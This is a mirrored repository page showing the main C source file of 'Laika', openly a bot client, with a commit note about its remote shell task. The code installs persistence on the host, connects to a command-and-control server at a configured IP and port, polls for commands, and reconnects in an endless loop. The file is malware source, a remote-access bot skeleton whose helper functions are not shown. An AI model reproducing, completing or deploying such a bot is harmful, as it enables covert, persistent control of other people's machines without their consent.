mirror of
https://github.com/CPunch/Laika.git
synced 2024-09-28 22:48:47 +00:00
CPunch
dac99ddd85
- since the shell task is only ran when the shell is open, i decreased the delta to 50ms. this should improve latancy while improving performance for 99% of the time. yay!
39 lines
805 B
C
39 lines
805 B
C
#include <stdio.h>
|
|
|
|
#include "lconfig.h"
|
|
#include "lerror.h"
|
|
#include "ltask.h"
|
|
#include "bot.h"
|
|
#include "shell.h"
|
|
#include "persist.h"
|
|
|
|
int main(int argv, char *argc[]) {
|
|
struct sLaika_bot *bot;
|
|
|
|
/* install persistence */
|
|
laikaB_tryPersist();
|
|
|
|
#ifdef LAIKA_PERSISTENCE
|
|
do {
|
|
#endif
|
|
bot = laikaB_newBot();
|
|
|
|
LAIKA_TRY
|
|
/* connect to test CNC */
|
|
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
|
|
|
|
/* while connection is still alive, poll bot */
|
|
while (laikaS_isAlive((&bot->peer->sock))) {
|
|
laikaB_poll(bot);
|
|
}
|
|
LAIKA_TRYEND
|
|
|
|
/* bot was killed or it threw an error */
|
|
laikaB_freeBot(bot);
|
|
#ifdef LAIKA_PERSISTENCE
|
|
sleep(5);
|
|
} while (1);
|
|
#endif
|
|
|
|
return 0;
|
|
} |